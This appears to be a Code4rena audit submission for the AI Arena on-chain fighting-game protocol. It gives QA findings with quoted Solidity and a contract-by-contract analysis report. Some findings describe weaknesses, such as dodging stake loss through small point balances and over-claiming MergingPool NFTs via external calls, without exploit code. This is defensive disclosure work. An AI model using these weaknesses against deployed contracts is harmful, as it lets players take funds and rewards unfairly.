The probabilities sum is used for the calculation in the function dnaToIndex. It doesn't make sense for this mapping to not have a sum of 100 for a specific generation and attribute as confirmed by the sponsor. However, there is no constraint in the code for this. Not having a sum of 100 can give false results when estimating the attributeProbabilityIndex in this instance :

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L169

    function dnaToIndex(uint256 generation, uint256 rarityRank, string memory attribute) 
        public 
        view 
        returns (uint256 attributeProbabilityIndex) 
    {
        uint8[] memory attrProbabilities = getAttributeProbabilities(generation, attribute); 
        
        uint256 cumProb = 0;
        uint256 attrProbabilitiesLength = attrProbabilities.length; // 6 ? I guess not
        for (uint8 i = 0; i < attrProbabilitiesLength; i++) {
@>          cumProb += attrProbabilities[i];
            if (cumProb >= rarityRank) { 
                attributeProbabilityIndex = i + 1;
                break;
            }
        }
        return attributeProbabilityIndex; 
    }

Morover, we have noticed that attributeProbabilityIndexwhich is used for the calculation of the attributeIndex in the function createPhysicalAttributes and gives the theritical value of the cosmetics of a fighter will always be the same for a specific generation and attribute. This seems wrong as the cosmetics of attribute of attribute should be somewhat randomized.

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L108-L109

[L-09] Unfair calculations in RankedBattle::_addResultPoints

A user that has very little accumulatedPointsPerFighter way less than the points required for the round it will not update his stake at Risk and he can get away with it.

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L479

  if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
                /// If the fighter has a positive point balance for this round, deduct points 
                points = stakingFactor[tokenId] * eloFactor;
                if (points > accumulatedPointsPerFighter[tokenId][roundId]) { //@audit if user has very little positive accumulatedPointsPerFighter he can get away with the loss 
                    points = accumulatedPointsPerFighter[tokenId][roundId];
                }
                accumulatedPointsPerFighter[tokenId][roundId] -= points;
                accumulatedPointsPerAddress[fighterOwner][roundId] -= points;
                totalAccumulatedPoints[roundId] -= points;
                if (points > 0) {
                    emit PointsChanged(tokenId, points, false);
                }

If someone finds a way to always have some points during a round and before a battle he will make sure to never lose any funds.

[NC-01] Player can spam initiate battles without staking anything.

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L505

Players will spend voltage and not get any points but will accumulate wins or losses which will be written to the storage.

[NC-02] Remove unnecessary inherits

The ERC721 contract does not need to be imported again if it is already imported in the ERC721Enumerable from Openzeppelin.

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/FighterFarm.sol#L16

contract FighterFarm is ERC721, ERC721Enumerable {..}

[NC-03] Redundant attributeProbabilities initialization in the AiArenaHelper contract

The line addAttributeProbabilities(0, probabilities); is doing the same as

for (uint8 i = 0; i < attributesLength; i++) {
            attributeProbabilities[0][attributes[i]] = probabilities[i];
            ...

So adding the 2nd line inside the for loop is redundant.

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/AiArenaHelper.sol#L41

constructor(uint8[][] memory probabilities) {
        _ownerAddress = msg.sender;

        // Initialize the probabilities for each attribute
        addAttributeProbabilities(0, probabilities);

        uint256 attributesLength = attributes.length;
        for (uint8 i = 0; i < attributesLength; i++) {
            attributeProbabilities[0][attributes[i]] = probabilities[i]; //@audit does the exact same thing as the line before
            attributeToDnaDivisor[attributes[i]] = defaultAttributeDivisor[i];
        }
    }

[NC-04] These variables can be defined as public instead of private

https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/GameItems.sol#L61C1-L67C28

/// The address that has owner privileges (initially the contract deployer).
address _ownerAddress;

    /// Total number of game items.
    uint256 _itemCount = 0;

    /// @dev The Neuron contract instance.
    Neuron _neuronInstance;

[NC-05] Better to use hashstructs for better readability and security

Since the function claimFighters is verifying that the correct batch of data are being submitted. it would better to create a struct containing all of these data and use them in a signature. This can be achieved through EIP-712.

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L199-L205

Analysis Report

Index table of contents

1. Preface

This analysis report has been approached with the following key points and goals in mind:

• Assumes not so tech-savvy users will stumble upon it and does not include redundant documentation the protocol team is already aware of. Instead, it breaks down the contracts in easy bits to grasp before jumping right in.
• This report's goal in part is to provide the protocol team valuable insights on some edge cases we have been able to find within the timeframe of audit and in part to help users digest the protocol bits.
• In the scenarios that we may have included some repetitive documentation, it is to provide the judge context on what the protocol team's assumptions are and therefore helps the judge grasp scenarios we cover better.

2. Conceptual overview

AI Arena is a GameFi protocol designed to entertain duel competitions onchain. Each round, two fighters (NFTs) do battle and the winner (if they perform well and put up some NRN stake themselves) wins some more NRN tokens; the staple AI Arena ERC20 token. Think of it as Fight Club, but with NFTs onchain. In a booming industry of GameFi protocols and moderately expensive transaction fees on Ethereum still, the protocol chose a great alternative blockchain to run on and help players manage resource costs - that blockchain being Arbitrum One. One significant challenge GameFi projects prior have faced is the limited character features of NFTs. AI Arena addresses this a number of ways but one of the most exciting feature is the ability to refill the voltage of a fighter through the VoltageManager contract. This ensures that when an NFT fighter becomes depleted and as a result become unable to fight, you just don't discard the fighter; instead you can fill it's voltage back up as well as do more training on it by switching/opting for better rarer attributes. Not to mention, all of this fight club individual performances is incentived by earning NRN tokens, the players will always look to build up on wins for a particular fighter NFT. Rather than mint, utilize and discard, players will look to mint, utilize, rebuild, utilize and continue that cycle.

3. Architecture (Diagram)

This whole protocol has a single entry point from it's launch: the redeemMintPass() function.

This function allows users who have already gotten a hold of mint-passes to burn those mint passes in exchange for fighter NFT tokens when the protocol launches. This is a great feature. Unlike what you'd normally expect from a GameFi protocol that allows aggressive minting of NFTs at launch, AI Arena is looking to keep volume of NFTs relatively low at the beginning.

4. Approach taken in evaluating the codebase

We employed a simple call path trace review process in looking at each in-scope contracts of the codebase - exploring core functions. Instead of simply stating our research day schedules and what we did each day, we find that giving you an understanding of those contracts we covered each day is a better review process for all parties involved, so we covered the contracts below:

1. FighterFarm.sol
2. RankedBattle.sol
3. MergingPool.sol
4. AiArenaHelper.sol
5. StakeAtRisk.sol
6. VoltageManager.sol
7. Neuron.sol
8. GameItems.sol

1. FighterFarm.sol

Core contract, it houses the entry point for users into the system. With 245 lines of code, it does a ton of logic such as managing creation, ownership, mints, and redemptions of fighter NFTs. It extends the ERC721 implementation of Openzeppelin so you'd typically expect to find some unsafe external call behaviours from this contract engineered by players. Coupled with the MergingPool contract, it is vulnerable to unsafe behaviours as we would later see.

But you can already think of this contract as the starting point for getting into the arena, the contract you and your opponents will first interact with to get your fighters.

Some crucial variables are:

• uint8 public constant MAX_FIGHTERS_ALLOWED which defaults to 10 fighters maximum per player address.

• uint8[2] public maxRerollsAllowed which enforces a bound on the max reRolls for each NFT fighter.

• uint256 public rerollCost which keeps track of the amount of NRN tokens it will cost a player to reRoll a fighter NFT.

Below we take a deep dive into some crucial functions in this contract.

incrementGeneration() Remember Pokemon generations? This function is similar. Different generations can exist for a fighter type (fighter types are typically either champion or dendroid) and this function allows the contract owner to increment such generation for a fighter. Players mustn't increment generations arbitrarily, so it's utilizing a centralization privilege here. Upon incrementation, the maximum number of reRolls allowed for the fighter type is bumped up by 1 more free reRoll.

claimFighters() This function as it entails allows players to claim fighter NFTs. They do this by submitting a signature signed by the _delegatedAddress. This is a sensitive function in the sense that if implemented incorrectly, it will allow players to claim more than once using the same signature. As a player, you provide a signature signed by the _delegatedAddress as well as the model hashes and types for the fighter NFTs you want to be minted which are then minted to your address after verifying that the provided signature is valid. This function directly calls _createNewFighter() which is the function where minting ensues and ensures each player doesn't breach the hard cap of 10 NFTs per address.

redeemMintPass() The entry point for this protocol at the time of launch. This function allows users who have already acquired mint passes pre-launch to redeem such mint passes for fighter NFTs. To make sure you don't mint two NFTs for 1 mint pass, it burns each mint pass before minting to your address. This is another sensitive function in the sense that if implemented wrongly, players can circumvent the 1-1 mints of NFTs to mint passes.

reRoll() This function allows the fighter NFT owner to reRoll their fighter in the hopes of probably getting a better trait. Traits are random and each fighter NFT has a pre-set maximum number of rolls they can utilize to switch to another trait. Though this function allows the implementation of this functionality, it is not free. First, you can't have reached the max rolls, second, you must have sufficient NRN tokens to pay for the attributes you get during a roll. The NRNs are then transferred to the treasury address while you get to keep your new fighter NFT trait.

_createNewFighter() A private function where all the fighter NFT token mints happen. All external functions exposed to users for minting new fighter tokens interact with this core function. This function is where the requirement for not breaching the address cap of maximum fighters allowed occurs. It does some pre-determinations based on your input from the calling functions to determine which attributes, generation type, and traits your fighter NFT to mint will have at which point it proceeds to mint the NFTs to your address.

2. RankedBattle.sol

This smart contract holds the most code lines of the AI Arena protocol - most of the interesting functions that is. With 277 lines of code, it serves as the contract for managing fighter reward distributions, fighter NFT track records, and staking of NRNs on fighters during battle duels. You can think of it as the second contract you interact with after accruing and building fighters with full voltages.

Some crucial variables are:

• struct BattleRecord which is a data structure for keeping track of wins, losses, and ties for a fighter.

• uint8 public constant VOLTAGE_COST set as 10 voltages per duel you initiate/join. After 10 matches, your voltage will be completely depleted.

• uint256 public totalBattles keeps track of the number of total battles that have been initiated.

• mapping(uint256 => BattleRecord) public fighterBattleRecord returns a BattleRecord data structure for a given fighter ID.

Let's have a deep dive into some of the crucial functions this contract allows players to interact with.

setGameServerAddress() This function allows the contract owner to set the game server address that is responsible for updating game records and delivering results on-chain. This address is similar to an oracle that feeds off-chain data to some dependent contract on-chain. You can then think of this address to act similar to the likes of a Chainlink Oracle.

setStakeAtRiskAddress() The StakeAtRisk contract which manages staking NRNs for fighters during a duel needs to be set as you would expect to facilitate that very task when a round ensues.

setNewRound() Rounds are initiated one at a time and only admin addresses are allowed to do this. When a round ends, lost NRN tokens are swept to the protocol's treasury address and winners are rewarded with corresponding NRN tokens according to their points. When this round is set the current round ID is incremented by 1 to move us past the last round.

stakeNRN() One crucial thing to note is that if you have unstaked for the current round before, it doesn't let you come back in to pledge a stake. Rather weird, but we can understand the logic for this as it means if you get out of the game with your stake, you won't be allowed back in for that fighter. You must hold the equivalent amount of NRN tokens you intend to stake or more in your wallet to ensure this transaction is a success.

unstakeNRN() Opposite of calling stakeNRN(), this function unstakes NRN tokens from a fighter NFT they have currently staked for in the current game round.

claimNRN() This function handles the claiming of NRN tokens won for a specified round(s). Winners are allowed to claim only once per round they have been selected a winner for and no more.

updateBattleRecord() This function has strict enforcement that calls must come from the game server address. When called by such address, the function updates the battle record for a specific fighter NFT such as the current battle result (which will be win, lose, or a tie), the total battles the fighter has fought, etc. If this function had been exposed to anyone, some players would 90% of the time call it to update perhaps a leading fighter with bad data. The AI Arena protocol gates this function to ensure only valid records supplied by the server address can be used for each fighter NFT battle record.

3. MergingPool.sol

105 lines of code, but plenty of interesting logic within those lines. This contract handles a similar logic to airdropping in the sense that it allows a player to potentially earn a new fighter. Let's dive right in and explore some of it's crucial variables first:

• uint256 public winnersPerPeriod storage variable to set the bound for the number of winners per period. This variable can be updated at any time by an admin. Initially, it starts with two winners per period.

• uint256 public roundId storage variable to keep track of the current round ID; set to 0 which is a little redundant to set a default 0 value to another 0 value. The protocol team can just leave it uninitialized instead.

• mapping(uint256 => address[]) public winnerAddresses keeps track of the winner addresses in a specified round.

• mapping(uint256 => bool) public isSelectionComplete is crucial and keeps track of whether or not a round's winner selection is completed.

Some crucial functions include: updateWinnersPerPeriod() Allows an admin to change the number of winners to be picked per round.

pickWinner() When a round's winner selection is due, an admin calls this function to pick winners. Assume Bob and Alice are winners for rounds 0 & 1. When this function is executed, it means both Bob and Alice are entitled to 2 fighter NFTs for both rounds. These NFTs can be minted in the next function we will explore. When the winners are selected, the current round's selection completion is set to true to reflect this change, and the roundId is increased.

claimRewards() This is the function Bob and Alice will call to claim their won NFT fighters. This function mints fighter NFTs from the MergingPool contract provided that the caller is indeed a winner for the rounds. Each winner is entitled to the amount they are due and no more than which means each winner will typically get the same amount of fighter NFTs - if Bob gets 2, Alice gets 2.

4. AiArenaHelper.sol

With just 90 lines of code, this contract allows management of fighter attributes such as the head, eyes, mouth, body, hands, and feet etc.

Core functionalities are:

createPhysicalAttributes() Allows players to create physical attributes for a fighter based on the supplied DNA. This function when supplied with the necessary arguments, proceeds to create the physical attributes utilizing the FighterOps library contract which we will not have a deep dive into during this analysis as it's pretty minimal.

addAttributeProbabilities() Allows the functionality to add attribute probabilities for a given generation ID. This function is centralized and only accessible to the contract owner.

Another core function of this contract is the deleteAttributeProbabilities() function which does the opposite of the addAttributeProbabilities function logic - allowing deletions of attribute probabilities for a given generation ID.

5. StakeAtRisk.sol

This contract plays a vital role in the AI Arena protocol as it is the contract to manage NRN tokens that are at risk of being swept in the case of a loss during a battle round. Some crucial functions we will cover are:

setNewRound() To set a new staking round, the RankedBattle contract has to be the address calling this function to run the transaction. When this function is called, the previous staked and lost NRN tokens escrowed in this contract need to be transferred out, so it calls the _sweepLostStake() function to transfer the lost NRN balances to the treasury address after which it initializes a new round.

reclaimNRN() Allows a fighter the opportunity to regain their staked NRN tokens against a fighter NFT. The call to this transaction must be from the RankedBattle contract which is done after the battle records update for a specific fighter has been carried out. It transfers the NRN tokens to reclaim to the RankedBattle contract and ensures if the transaction is successful, the internal balances of this contract's stakes at risk for a fighter, round, and amount lost are adjusted to reflect the new state resulting from this action.

_sweepLostStake() The function that handles the NRN tokens at risk transfers to the treasury address. These are typically tokens lost in a round being swept from this contract's balance.

6. VoltageManager.sol

Implementation contract for managing power/voltage refills for players in the AI Arena protocol. It exposes some functions to use voltage as well as replenish it.

useVoltageBattery() When this function is called, it makes sure the current voltage for the player/msg.sender is less than 100 (has been used at least). Then it burns a battery from the player and replenishes the player's voltage back up to a hundred (full). You can think of it like an in-game play store where you typically would expect to spend dollars to replenish your battery or wait 24 hours for it to automatically come back up.

spendVoltage() This function allows a player to spend their just replenished voltage. You specify how much voltage you want to use from the player's address and you must be authorized to spend voltages on behalf of the player or be the player yourself for this function to not revert. Then it proceeds to log and decrement your voltage by the amount being spent. If the last time you refilled your voltage was 24 hours ago, it first proceeds to refill it back up to 100%.

_replenishVoltage() This function does the logic for replenishing voltages. Voltages can only be replenished every 24 hours and the timelock for that is done within this function when called from the spendVoltage() function.

7. Neuron.sol

The second most crucial contract in our opinion for this whole protocol to be exciting. This contract houses the NRN token implementation that fuels the AI Arena protocol. It has most of the ERC20 specification features you would expect from a token such as the burn, and mint functions to engineer token supply alterations.

Two interesting and unusual functions we would like to deep dive into for this contract are the setupAirdrop() & claim() functions.

setupAirdrop() Allows an admin to set up NRN token airdrop for an array of addresses and sets the amount of tokens each one of these addresses can claim. Ideally, for an airdrop you would expect a function that allows an admin to run the distribution but the protocol has opted to use a claim() mechanism to implement this. If the claim is implemented wrongly, it will pose vulnerabilities that allow some whitelisted addresses to double or triple claim. Even worse, it could allow non-whitelisted addresses to claim NRN tokens from an airdrop.

claim() The function that allows a whitelisted address to claim the tokens they're approved for from the airdrop. Implemented very simply and cleanly.

8. GameItems.sol

This contract facilitates the collection creation of game items and management in the AI Arena Protocol. Let's dive deep into the nitty gritty for some interesting functions.

mint() If a game item has been created, that is, it exists as a collection, the caller of this function will be able to mint such game item as an ERC1155 token by paying the correct amount of NRN tokens it costs to mint the game item.

createGameItem() Allows the functionality of new game item creation and is only accessible to an admin. This function takes a couple of arguments such as the name for the game item, the token URI, whether or not it should have a finite (capped) supply, if it should be transferable between addresses (players), the number of items remaining (in the case it should have a finite supply), item price (in NRN tokens), and the daily allowance for minting such item. Then it uses all of these arguments to create the game item and opens the floor for purchases of it.

burn() Allows a predetermined address with burner privilege to burn game items from an address.

5. Centralization risks

The functions listed below have accessibility prohibited to the _ownerAddress, isAdmin, allowedBurningAddresses, hasStakerRole addresses that can cause potential issues resulting from too much power concentration. Notably, these issues are more apparent in the GameItems contract for example where the creation of a game item is solely controlled by an admin address or the burn function which can engineer a burn across any address. Perhaps allowing addresses to burn their items at will as well will be great. Perhaps allow a fighter the ability to adjust staking for their fighter in the future. Perhaps users should be able to approve others to spend NRN tokens on their behalf instead of only addresses that have the SPENDER_ROLE.

• burn()
• createGameItem()
• updateFighterStaking()
• approveSpender()

6. Mechanism & Architecture review

Upon successful review of this codebase, we concluded that the AI Arena Protocol re-imagines GameFi in another perspective not yet widely adopted, "Player vs Player" while implementing a couple of unique features, all of which ensure fighter NFTs will not just be minted and discarded or left in addresses to rot. Instead, encourages a competitive arena where fighter NFTs are continually advanced by their owners.

Comparison between AI Arena and Axie Infinity

What is unique?

• Voltage refills - Duels consume energy, 10% of a fighter NFT's voltage to be precise per initiated duel. There isn't such a unique feature yet in other GameFi protocols. These voltages must be refilled once depleted to continue initiating duels.

• Mintpasses - Before the launch of the AI Arena protocol, some users have access to mint the first few fighter NFTs. Once the protocol launches, these users then redeem the mint passes for fighter NFTs.

• Staked risk - Players can typically earn NRN tokens if they win and have some stake (NRN tokens) in the just completed battle. These stakes are facilitated as NRN tokens and earned as long as the player wins and keeps a consistent winning record.

7. Architecture Recommendations

What could be incorporated?

• Allow the community to create in-game items. Currently, in-game items can only be created by privileged admins.
• Implementing some kind of tokenization that allows fighter NFTs to be used as collateral for loans in a protocol would be a good addition.
• Payments are currently only made in NRN tokens within the AI Arena protocol. This is great and will foster utility for NRN tokens. It would be better for the team to keep it this way and not allow other payment tokens such as ETH on Arbitrum One.

Other recommendations

1. Decentralized model approach

The game is meant to foster player vs player duels and reward a good track record over time. One of the main drivers so far for blockchain games has been the rewards promised to winners/players but another driving factor players pay more attention to are in-game items.

At this stage of the protocol's development, it is good to keep the creation of in-game items to a small body of trusted individuals such as the protocol owner or an admin. But as the game advances, players will push for more decentralization of this specific function. They would want to have more flexibility for who can decide/create in-game items that will exist within the protocol.

At some point in the future, if not so soon; players will want to have the ability to update their stakes for a fighter NFT, and having this feature be restricted to one of the protocol's other contracts will breed this push from players. On the one hand, it makes sense that whatever NRN tokens you have staked on the outcome of a duel for your fighter cannot be pulled out/unstaked mid-game. On the other hand, it also makes sense that I might want to quit a game before it even starts for unforeseen reasons, and being unable to undo my stakes or participation is a bummer.

2. The MergingPool contract is vulnerable

This contract has a certain number of vulnerabilities posed but we will try to give an overview of one such vulnerability being the ability for a winner to claim more than their predetermined NFT count to be minted to them.

This is no good. As one transaction breeds a movement and any movement can be seen onchain. With one address running a malicious behavior, it quickly becomes two, three, or twenty addresses doing the same thing. The contract needs to re-think how it handles these edge case problems that breed this movement and render blockades to stop it from ensuing in the first place.

3. External calls

There's a relatively low amount of external calls that happen within the protocol.

These calls happen when a player gets minted a player NFT either through claiming fighters, redeeming mint passes for fighter NFTs, or minting from merging pool claims. These are ERC721 token mints that implement the external call check onERC721Received to determine if the receiving address can receive/process NFTs. Another contract where such external calls happen is the GameItems contract which calls the ERC1155 _doSafeTransferAcceptanceCheck on the receiving address to determine if it can process such transferred NFT token.

These external calls aren't vulnerable by themselves when implemented correctly. However, we have been able to exploit a case(s) where a malicious user can gain additional tokens from one such call for which we have suggested a fix in the corresponding report case.

Note: Consider the following points to judge:

1. A thorough breakdown of each smart contract in the protocol to ensure proper understanding for any reader that comes across this.
2. Represent the smart contract's initial flow through a visual diagram.
3. Extensive analysis of the contract by function-to-function call trace analysis.
4. Comparison table against another competitive protocol.
5. Best recommendations that can be safely implemented.

Time spent:

48 hours (High & Medium findings, QA findings, and Analysis report)

Time spent:

48 hours